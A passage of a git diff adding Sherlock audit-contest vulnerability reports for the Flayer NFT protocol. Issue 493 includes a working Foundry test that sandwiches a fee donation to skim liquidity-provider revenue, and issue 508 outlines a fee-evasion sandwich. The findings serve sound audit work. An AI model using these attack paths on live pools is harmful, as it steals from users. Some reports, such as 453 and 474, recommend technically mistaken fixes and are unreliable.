+The whitepaper states that "Users can reserve items in the pool by putting up collateral and paying an interest rate. Reserved items can then be redeemed at a later date–useful for users with short-term liquidity issues or anticipating upcoming events such as airdrops". Key takeaways from this:
+1) The only obligation a user has is to put up a collateral and pay interest on it
+2) Function is catered for users with short-term liquidity issues
+
+When we observe the code we see different logic being executed
+
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId); // fetch current listing price
+ if (!isAvailable) revert ListingNotAvailable();
+
+
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination(); // fetch floor
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice); // @audit user technically almost purchases the listing
+ }
+ }
+
+
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination()); // collateral is burnt here
+
+```
+Assume denomination = 4, floorPrice = 1e22
+
+Let's put that in numbers - if a user wants to reserve a listing currently priced at 6e22, they have to pay up 5e22 + collateral just to reserve the listing. During reservation, a protected listing is created which is susceptible to liquidations if the user does not pay up their interest, meaning they could lose the NFT completely. For convenience let's say the user puts up 0.5e18 as collateral. A reservation would cost the user 5.5e22 while a direct purchase would cost him 6e22 collection tokens. This contradicts the intended design of the function and makes it impractical to use.
+
+Essentially, the reservation mechanism forces the user to almost purchase the NFT without giving them the right to it, saves them up a fraction of 1e22 while creating exposure to interest rates. If a user invokes `reserve` and actually has enough balance to cover the old listing owner profit, they will end up paying more than the initial cost which is described as only collateral.
+
+
+## Impact
+Unintended behaviour, error logic
+## Code Snippet
+[`reserve`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690)
+## Tool used
+
+Manual Review
+
+## Recommendation
+Complete revamp of the reserve mechanism
\ No newline at end of file
diff --git a/443.md b/443.md
new file mode 100644
index 0000000..7d9d541
--- /dev/null
+++ b/443.md
@@ -0,0 +1,97 @@
+Dazzling Pecan Chameleon
+
+Medium
+
+# Re-Org Vulnerability in ERC721 Collection Creation Due to Deterministic Cloning.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L311-L313
+
+The function `createCollection` is vulnerable to a reorg attack due to the use of bytes32(_collectionCount) for deterministic cloning.
+by depending only on `_collectionCount` to predict cloned address will make the protocol vulnerable to reorg attack.
+
+
+## Vulnerability Detail
+The vulnerability arises because the function createCollection relies on bytes32(_collectionCount) to deterministically clone
+the ERC20 token contract using `LibClone.cloneDeterministic`. if re-org occurs on chain, the `collectionToken_` will be different
+than expected.
+
+POC:
+```solidity
+function createCollection(address _collection, string calldata _name, string calldata _symbol, uint256 _denomination) public whenNotPaused returns(address) {
+ ICollectionToken collectionToken_ = ICollectionToken(
+#>> LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+#>> _collectionToken[_collection] = collectionToken_;
+}
+
+function deposit(address _collection, uint256[] calldata _tokenIds, address _recipient)
+ public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ uint256 tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Take the ERC721 tokens from the caller
+ for (uint256 i; i < tokenIdsLength; ++i) {
+ // Transfer the collection token from the caller to the locker
+#>> collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+ }
+
+ // Mint the tokens to the recipient
+#>> // user may pass wrong _collection and this is due to reorg
+#>> // this can lead users to interact with wrong ERC20 token.
+#>> ICollectionToken token = _collectionToken[_collection];
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+}
+```
+
+## Impact
+when reorg happen on-chain the users can interact with wrong ERC20 with wrong [token.denomination](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L162-L163)
+
+## Recommendation
+
+```diff
+function createCollection(address _collection, string calldata _name, string calldata _symbol, uint256 _denomination) public whenNotPaused returns(address) {
+ // Ensure that our denomination is a valid value
+ if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+
+ // Validate if a contract does not appear to be a valid ERC721
+ if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+- LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
++ LibClone.cloneDeterministic(tokenImplementation, keccak256(abi.encode(bytes32(_collectionCount), msg.sender)))
+ );
+ _collectionToken[_collection] = collectionToken_;
+
+ // Initialise the token with variables
+ collectionToken_.initialize(_name, _symbol, _denomination);
+
+ // Registers our collection against our implementation
+ implementation.registerCollection({
+ _collection: _collection,
+ _collectionToken: collectionToken_
+ });
+
+ // Increment our vault counter
+ unchecked { ++_collectionCount; }
+
+ emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+ return address(collectionToken_);
+}
+```
+
diff --git a/444.md b/444.md
new file mode 100644
index 0000000..5093d94
--- /dev/null
+++ b/444.md
@@ -0,0 +1,37 @@
+Tart Laurel Starling
+
+Medium
+
+# donateAmount uses a fixed amount0 and does not consider the impact of currencyFlipped
+
+## Summary
+donateAmount uses a fixed amount0 and does not consider the impact of currencyFlipped
+## Vulnerability Detail
+In the `_distributeFees` function of the `UniswapImplementation.sol` contract,the current code assumes that `donateAmount` comes from` _poolFees[poolId].amount0` and does not take into account `currencyFlipped`. If `currencyFlipped` == `true`, `amount1` should actually be donated instead of `amount0`, otherwise it will result in incorrect funds allocation.
+## Impact
+If `currencyFlipped == true`, `donateAmount` should come from `amount1` instead of `amount0`. The current logic uses `amount0` directly, causing funds to be allocated to the wrong currency in the case of a flip. For example, the contract actually requires a donation of `amount1` tokens, but due to a logic problem, it donates `amount0`, which will result in the expected fees not being donated to the correct asset pool.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L308-L318
+```solidity
+ function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+ PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ if (!poolParams.initialized) {
+ return;
+ }
+
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When getting `donateAmount`, you should decide whether to use `amount0` or `amount1` based on `currencyFlipped`:
+```solidity
+uint donateAmount = poolParams.currencyFlipped ? _poolFees[poolId].amount1 : _poolFees[poolId].amount0;
+```
\ No newline at end of file
diff --git a/451.md b/451.md
new file mode 100644
index 0000000..bf623d5
--- /dev/null
+++ b/451.md
@@ -0,0 +1,23 @@
+Big Arctic Platypus
+
+Medium
+
+# missing revoking permissions when vault is removed.
+
+## Summary
+
+## Vulnerability Detail
+here we see what is the LockerManager contract:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/LockerManager.sol#L10-L13
+
+so the contract does not handle scenarios where a vault might be removed. If a vault associated with a manager is removed from the system, the corresponding manager might still retain approval to manage tokens. This can lead to situations where an unauthorized manager still has access to vault tokens.
+## Impact
+approved manager may continue to have permissions they should no longer have, leading to unauthorized token operations.
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+implement a function that revokes all permissions from the manager when a vault is removed.
\ No newline at end of file
diff --git a/453.md b/453.md
new file mode 100644
index 0000000..28142d7
--- /dev/null
+++ b/453.md
@@ -0,0 +1,38 @@
+Jovial Frost Porcupine
+
+Medium
+
+# Send ether with call instead of transfer
+
+## Summary
+Use call instead of transfer to send ether. And return value must be checked if sending ether is successful or not. Sending ether with the transfer is no longer recommended.
+## Vulnerability Detail
+ function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ @>> IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+ }
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L178
+## Tool used
+
+Manual Review
+
+## Recommendation
+ I
+(bool result, ) = payable(_beneficiaryt).call{value: _amount}(""); require(result, "Failed to send Ether");
\ No newline at end of file
diff --git a/455.md b/455.md
new file mode 100644
index 0000000..8f14e11
--- /dev/null
+++ b/455.md
@@ -0,0 +1,23 @@
+Big Arctic Platypus
+
+Medium
+
+# multiple mangers will be dangrous
+
+## Summary
+
+## Vulnerability Detail
+the LockerManager::setManager is allow mutiple mangers to be set,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/LockerManager.sol#L35-L36
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/LockerManager.sol#L41-L51
+there is no explicit restriction on setting multiple managers, which could lead to overlapping control over the tokens managed by this contract.
+## Impact
+multiple managers having access could lead to conflicts in the protocol if they attempt to interact with the same assets from different contracts, This could result in race conditions, loss of funds, or unauthorized interactions with the tokens held by the `LockerManager`.
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+add a safeguard ensuring only one manager can be active
\ No newline at end of file
diff --git a/461.md b/461.md
new file mode 100644
index 0000000..a824e01
--- /dev/null
+++ b/461.md
@@ -0,0 +1,28 @@
+Big Arctic Platypus
+
+Medium
+
+# lack of validation for minimum and maximum threshold in `setDonateThresholds` function.
+
+## Summary
+
+## Vulnerability Detail
+in BaseImplementation::setDonateThresholds there is no validation of mximum and minimum
+as we see here :
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L58-L62
+but while set this values :
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L257-L262
+there is no check if `donateThresholdMax` is more than 0.1 ether or not.
+## Impact
+if an owner mistakenly or maliciously sets `_donateThresholdMax` to a value greater than 0.1 ether, it could lead to unintended consequences in the donation flow.
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+add
+```solidity
+if (_donateThresholdMax > 0.1 ether) revert InvalidMaxThreshold();
+```
\ No newline at end of file
diff --git a/468.md b/468.md
new file mode 100644
index 0000000..f69aaae
--- /dev/null
+++ b/468.md
@@ -0,0 +1,29 @@
+Jovial Frost Porcupine
+
+Medium
+
+# use safetransfer and safetransferfrom.
+
+## Summary
+we are using transfer and transferfrom instead of safetransfer and safetransferfrom..Not all the token transfer result in true. some token does not return anything.
+## Vulnerability Detail
+
+All ERC20 token doesnot rturn true on transfer.
+ // Check the claim type we are dealing with and distribute accordingly
+ @ if (_claimType == Enums.ClaimType.ERC20) {
+ if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
+ } else if (_claimType == Enums.ClaimType.ERC721) {
+
+use safetransferfrom
+ @>> params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+## Impact
+Transfer of tokens will be impacted.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L197
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L135
+## Tool used
+
+Manual Review
+
+## Recommendation
+use safetransfer and safetransferfrom.
\ No newline at end of file
diff --git a/474.md b/474.md
new file mode 100644
index 0000000..44f2c97
--- /dev/null
+++ b/474.md
@@ -0,0 +1,25 @@
+Jovial Frost Porcupine
+
+Medium
+
+# no use of safeMint() as safe guard for users
+
+## Summary
+_safeMint() should be used with reentrancy guards as a guard to protect the user as it checks to see if a user can properly accept an NFT and reverts otherwise.
+## Vulnerability Detail
+ ICollectionToken token = _collectionToken[_collection];
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ @> _collectionToken[_collection].mint(msg.sender, _amount);
+ }
+## Impact
+_safeMint() should be used with reentrancy guards as a guard to protect the user as it checks to see if a user can properly accept an NFT and reverts otherwise.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L163
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L187C7-L188C6
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use _safeMint() instead of mint()
\ No newline at end of file
diff --git a/483.md b/483.md
new file mode 100644
index 0000000..a3b71b0
--- /dev/null
+++ b/483.md
@@ -0,0 +1,29 @@
+Funny Orange Turtle
+
+Medium
+
+# Creating listing with specific listing settings, as high `_floorMultiple` or long `_duration` will be impossible.
+
+## Summary
+
+User can list ERC721 tokens using `Listings::CreateListings` function. To list ERC721 user have to paid listing tax which is calculated by `TaxCalculator::calculateTax` function. Every listed ERC721 is backed by ERC20 token assigned to this collection, user will always receive one ERC20 per ERC721. Tax which user have to pay to list tokens is based on ERC721 `_floorMultiple` and `_duration` of the listing.
+
+## Vulnerability Detail
+
+Assume user want to create listing for 150 days with ERC721 which is not the floor token. User call `Listings::CreateListings` with parameters `_floorMultiple` = 300 and `_duration` = 150 days. User will get 1 ERC20 token equal `1e18 * 10 ** locker.collectionToken(_collection).denomination()` and calculated tax will be higher than `1e18 * 10 ** locker.collectionToken(_collection).denomination()` in this case. Function will revert beacuse of `if` statement - ` if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);`.
+
+## Impact
+
+In some cases with specific numbers, as high `_floorMultiple` or long `_duration` parameters, calculated tax will be higher than `1e18 * 10 ** locker.collectionToken(_collection).denomination();` what makes it impossible to create listing.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L150
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Let user pay additional tax if `taxRequired > tokensReceived`.
diff --git a/486.md b/486.md
new file mode 100644
index 0000000..6acc297
--- /dev/null
+++ b/486.md
@@ -0,0 +1,36 @@
+Perfect Mint Worm
+
+High
+
+# User Can Bypass Maximum Duration Limit for Liquid Listings via Modification
+
+## Summary
+Users can bypass the maximum duration limit for liquid listings by modifying the listing just before it reaches the `MAX_LIQUID_DURATION`, effectively extending it indefinitely.
+## Vulnerability Detail
+The `modifyListings` function allows users to extend the duration of a `liquidlisting` without accounting for the total *time elapsed* since the listing's original start date. This oversight enables users to repeatedly extend the listing duration, circumventing the MAX_LIQUID_DURATION constraint.
+
+### Initial Liquid Listing:
+A user creates a **liquid listing** with a duration set to just under the **maximum allowed limit (MAX_LIQUID_DURATION)**, starting on **Day 1**.
+
+### Modification Before Expiry:
+Just before the listing reaches its maximum duration, the user uses the `modifyListings` function to extend the duration, effectively bypassing the maximum limit.
+
+### Bypassing the Limit:
+If the `modifyListings` function does not account for the total time since the listing's original start date, the user can repeatedly extend the duration, circumventing the intended **maximum duration constraint**.
+## Impact
+This vulnerability allows users to maintain liquid listings beyond the intended maximum duration, potentially leading to market manipulation and undermining the protocol's economic model.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L345-L348
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a mechanism to track the original start time of each listing. Modify the modifyListings function to calculate the total duration from the original start time and enforce the `MAX_LIQUID_DURATION` constraint based on this total duration.
+```diff
+- if (params.duration > MAX_LIQUID_DURATION)
+- revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
++ if (params.duration + (block.timestamp - start_time) > MAX_LIQUID_DURATION)
++ revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+```
\ No newline at end of file
diff --git a/493.md b/493.md
new file mode 100644
index 0000000..3e3b9d3
--- /dev/null
+++ b/493.md
@@ -0,0 +1,148 @@
+Large Mauve Parrot
+
+High
+
+# Native tokens donations to UniswapV4 pools can be stolen by adding/removing liquidity before/after a swap
+
+### Summary
+
+Native tokens donations to UniswapV4 pools can be stolen by sandwiching swap transactions
+
+### Root Cause
+
+Donations to UniswapV4 pools can be stolen by providing liquidity to the pool before a call to [PoolManager::donate()](https://github.com/Uniswap/v4-core/blob/tickbitmap-overload/src/PoolManager.sol#L250) is executed.
+
+In Flayer donations to the UniswapV4 pool are executed by [UniswapImplementation::_distributeFees()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol) in the form of native tokens, whenever there's enough native tokens to distribute.
+
+Flayer collect all of the fees in collection tokens, which are only converted to native tokens in the [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) hook. Because collections tokens are only converted to native tokens instantly before swap it's possible for a big enough amount of collection tokens to accumulate before they get converted to native tokens. This makes it profitable for an attacker to frontrun hiw own (or others) swap that converts collection tokens into native tokens by providing liquidity and then backrun the swap by removing liquidity.
+
+### Internal pre-conditions
+
+1. Enough fees/taxes in the form of collection tokens should be accumulated by the [UniswapImplementation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L113). The value of the collection tokens needs to be greater than the gas costs to execute the attack, plus the swap fees if the attacker itself will executed the swap. The protocol will be deployed on Flayer where fee costs are low.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The attacker provides liquidity to a Flayer UniV4 pool.
+2. The attacker fills 10 listings via [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), this deposits fees in the form of collection tokens via [depositFees()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L598). Let's assume `5e17` collection tokens are accumulated as fees.
+3. The attacker swaps native tokens for `5e17` collection tokens directly on the pool. This will first trigger the [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) which will convert the just received native tokens into fees. After the swap is exeucted the [UniswapImplementation::afterSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L594) is triggered, which will donate the fees to the relative UniV4 pool.
+4. The attacker removes liquidity from the Flayer UniV4 pool for a profit.
+
+The only precondition is for enough collection tokens to have accumulated before the swap is executed, this can happen:
+
+- Naturally: no swaps of native tokens for collection tokens happened for a while
+- Artifically: the attacker triggers fee deposits events via some actions (ex. fill listing, cancel listings, etc.) before executing the swap to steal part of the fees
+
+### Impact
+
+Attackers can steal revenue from liquidity providers whenever the accumulated fees are big enough to cover costs.
+
+### PoC
+
+
+ To copy-paste in `UniswapImplementation.t.sol`:
+
+```solidity
+function test_ExCanSwapWithAmmBeneficiary_Unspecified() public withTokens {
+ ICollectionToken ctoken = locker.collectionToken(address(unflippedErc));
+
+ uint24 _ammFee = 1000;
+ bool _flipped = false;
+ uint256 nativeAmount = 1e18;
+ uint256 ctokenAmount = 10e18 * 10 ** ctoken.denomination();
+ uint256 depositFeesAmount = 5e17;
+
+ // Set up a pool key
+ PoolKey memory poolKey = _poolKey(_flipped);
+
+ // Set our AMM beneficiary details
+ uniswapImplementation.setAmmFee(_ammFee);
+ uniswapImplementation.setAmmBeneficiary(BENEFICIARY);
+
+ //Deal tokens and approvals
+ _dealNativeToken(address(this), nativeAmount);
+ deal(address(ctoken), address(this), ctokenAmount);
+ _approveNativeToken(address(this), address(poolModifyPosition), type(uint).max);
+ ctoken.approve(address(poolModifyPosition), type(uint).max);
+ ctoken.approve(address(uniswapImplementation), type(uint).max);
+
+ // Add liquidity
+ uint256 beforeNative = WETH.balanceOf(address(this));
+ uint256 beforeCToken = ctoken.balanceOf(address(this));
+ poolModifyPosition.modifyLiquidity(
+ PoolKey({
+ currency0: poolKey.currency0,
+ currency1: poolKey.currency1,
+ fee: poolKey.fee,
+ tickSpacing: poolKey.tickSpacing,
+ hooks: poolKey.hooks
+ }),
+ IPoolManager.ModifyLiquidityParams({
+ // Set our tick boundaries
+ tickLower: TickMath.minUsableTick(poolKey.tickSpacing),
+ tickUpper: TickMath.maxUsableTick(poolKey.tickSpacing),
+ liquidityDelta: int(10 ether),
+ salt: ''
+ }),
+ ''
+ );
+ uint256 addedAsLiquidityNative = beforeNative - WETH.balanceOf(address(this));
+ uint256 addedAsLiquidityCtoken = beforeCToken - ctoken.balanceOf(address(this));
+
+ //Deposit fees action
+ uniswapImplementation.depositFees(address(unflippedErc), 0, depositFeesAmount);
+ UniswapImplementation.ClaimableFees memory fees = uniswapImplementation.poolFees(address(unflippedErc));
+ assertEq(fees.amount0, 0);
+ assertEq(fees.amount1, depositFeesAmount);
+
+ //Swap native for ctoken requesting exactly `depositFeesAmount` ctokens
+ _swap(
+ IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: int(depositFeesAmount),
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ })
+ );
+
+ //Fees have been distributed to LPs
+ fees = uniswapImplementation.poolFees(address(unflippedErc));
+ assertEq(fees.amount0, 0);
+ assertEq(fees.amount1, 0);
+
+ //Remove liquidity
+ beforeNative = WETH.balanceOf(address(this));
+ beforeCToken = ctoken.balanceOf(address(this));
+ poolModifyPosition.modifyLiquidity(
+ PoolKey({
+ currency0: poolKey.currency0,
+ currency1: poolKey.currency1,
+ fee: poolKey.fee,
+ tickSpacing: poolKey.tickSpacing,
+ hooks: poolKey.hooks
+ }),
+ IPoolManager.ModifyLiquidityParams({
+ // Set our tick boundaries
+ tickLower: TickMath.minUsableTick(poolKey.tickSpacing),
+ tickUpper: TickMath.maxUsableTick(poolKey.tickSpacing),
+ liquidityDelta: int(-10 ether),
+ salt: ''
+ }),
+ ''
+ );
+
+ //LP made a profit by sandwitching the fee distribution
+ uint256 removedAsLiquidityNative = WETH.balanceOf(address(this)) - beforeNative;
+ uint256 removedsLiquidityCtoken = ctoken.balanceOf(address(this)) - beforeCToken;
+ uint256 profit = removedAsLiquidityNative - addedAsLiquidityNative;
+ assertEq(profit, 426711657458932044);
+ assertEq(removedsLiquidityCtoken + 1, addedAsLiquidityCtoken); //1 wei loss due uniV4 rounding down
+}
+```
+
+
+### Mitigation
+
+Accumulated fees should be distributed over time or only to liquidity providers that held liquidity for enough time.
\ No newline at end of file
diff --git a/507.md b/507.md
new file mode 100644
index 0000000..638275c
--- /dev/null
+++ b/507.md
@@ -0,0 +1,45 @@
+Large Mauve Parrot
+
+Medium
+
+# `crossTheThreshold` and `crossTheThreshold1155` are not compatible with collections that don't implement the metadata extension
+
+### Summary
+
+[InfernalRiftAbove::crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83) and [InfernalRiftAbove::crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137) revert for collections that don't implement optional metadata extensions.
+
+### Root Cause
+
+The function [InfernalRiftAbove::crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83) calls the functions `tokenURI()`, `name()` and `symbol()` on the collection contract the caller wants to bridge. These functions are optional according to [EIP721](https://eips.ethereum.org/EIPS/eip-721):
+
+```solidity
+The metadata extension is OPTIONAL for ERC-721 smart contracts (see “caveats”, below). This allows your smart contract to be interrogated for its name and for details about the assets which your NFTs represent.
+```
+
+Calling any of these functions on a collection that doesn't implement the optional metadata interface will make the call revert.
+
+The same issue exists for `ERC1155` collections, the function [InfernalRiftAbove::crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137) calls `uri()` on the collection contract, which according to [EIP1155](https://eips.ethereum.org/EIPS/eip-1155) is optional.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+`ERC1155` and `ERC721` collections that don't implement the optional metadata interface cannot be bridged.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Before querying `tokenURI()`, `name()`, `symbol()` or `uri()` ensure these function exists, or implement a try-catch pattern.
\ No newline at end of file
diff --git a/508.md b/508.md
new file mode 100644
index 0000000..2693451
--- /dev/null
+++ b/508.md
@@ -0,0 +1,47 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Users can sandwich unlocking their protected listings to pay less fees
+
+## Summary
+The fee payment upon `unlockProtectedListing` invoke can be reduced by sandwiching it between a direct `deposit-redeem` in locker due to lack of cooldown period.
+## Vulnerability Detail
+
+Whenever a user unlocks their protected listing they are obliged to pay accumulated interest fee on their `tokenTaken` which is calculated in `unlockPrice`
+
+```solidity
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+The method calculates interest by multiplying the principal amount (`tokenTaken`) by the result of currentCompoundFactor/initialCompoundFactor. However current compound factor uses live utilization rate which also uses live `collectionToken.totalSupply` to determine interest rates. The lower the utilization is - the lower the interest will be as well.
+
+```solidity
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+```
+From the snippet above we can see that if `totalSupply` increases just before `unlockProtectedListing` is invoked, `unlockPrice` will return a smaller value due to the decreased utilization.
+
+Such attack is achievable since the user can sandwich the unlock mechanism by invoking functions in one transaction:
+1) [`Locker.deposit`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L144) to mint collection tokens at 1:1 ratio
+2) `ProtectedListings.unlockProtectedListing`
+3) [`Locker.redeem`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L209) to burn the tokens from step 1 and retrieve their NFTs
+
+Since there are neither costs nor cooldowns imposed on `deposit-redeem` this attack is profitable.
+## Impact
+Tax evasion
+## Code Snippet
+see above
+## Tool used
+
+Manual Review
+
+## Recommendation
+Impose a reasonable cooldown period (e.g 10 minutes - 1 day) on direct locker deposits. This way the attacker's NFTs are susceptible for anyone to redeem, making the exploit unprofitable.
\ No newline at end of file
diff --git a/522.md b/522.md
new file mode 100644
index 0000000..5082f19
--- /dev/null
+++ b/522.md
@@ -0,0 +1,168 @@
+Raspy Bubblegum Sawfish
+
+High
+
+# Division Truncation will Reduce Precision
+
+### Summary
+
+The `testOperations` test case highlights a recurring issue in the codebase: incorrect order of operations in calculations involving multiplication and division. This vulnerability affects multiple contracts and can lead to inaccurate results, potentially causing financial losses.
+
+### Root Cause
+
+In Solidity, precision issues often occur due to how integer division is handled. Solidity does not support floating-point numbers, meaning all arithmetic is performed using integers. When dividing two integers, the result is truncated, discarding any decimal or fractional part. This can lead to significant loss of precision, especially in calculations where scaling factors like percentages or small fractions are involved.
+
+For instance, if you perform a division before applying a multiplier, the fractional part of the result is lost. To avoid this, it's common to first multiply the numbers by a scaling factor (like 100 or 1e18) before performing division. This preserves more precision during the calculation because the scaling factor amplifies the numbers before they are divided, effectively simulating the effect of floating-point arithmetic.
+
+In general, the key to maintaining precision in Solidity is to ensure that multiplication happens before division when dealing with scaling factors. This minimizes the loss of accuracy caused by the truncation of fractional values in integer division.
+
+### Internal pre-conditions
+
+• Ensure all arithmetic calculations involving scaling factors or percentages use proper order of operations.
+• Verify that calculations involving large numbers are tested for precision and accuracy.
+
+### External pre-conditions
+
+• The protocol or contract must be tested in various scenarios, including edge cases with large numbers and small fractions.
+• Contracts interacting with financial data must be audited for arithmetic correctness.
+
+### Attack Path
+
+1. Identify operations where multiplication and division are involved, particularly with scaling factors or percentages.
+2. Review and correct the order of operations to ensure that multiplication occurs before division to preserve precision.
+3. Test and verify the corrected calculations with different scenarios to ensure accuracy.
+
+### Impact
+
+The impact of this vulnerability varies depending on the specific calculation and context. However, in general, it can lead to:
+
+- **Inaccurate Calculations:** Incorrect results in calculations involving interest rates, fees, tax amounts, and other financial parameters.
+- **Financial Losses:** Users may receive less than they are entitled to, or the protocol may incur losses due to incorrect calculations.
+
+### PoC
+
+You can test one of occurencies with this test function. Copy and paste that on **`test/TaxCalculator.t.sol`**:
+
+```solidity
+function testOperations() public {
+ uint previousCompoundedFactor = 1e18;
+ uint utilizationRate = 1e18;
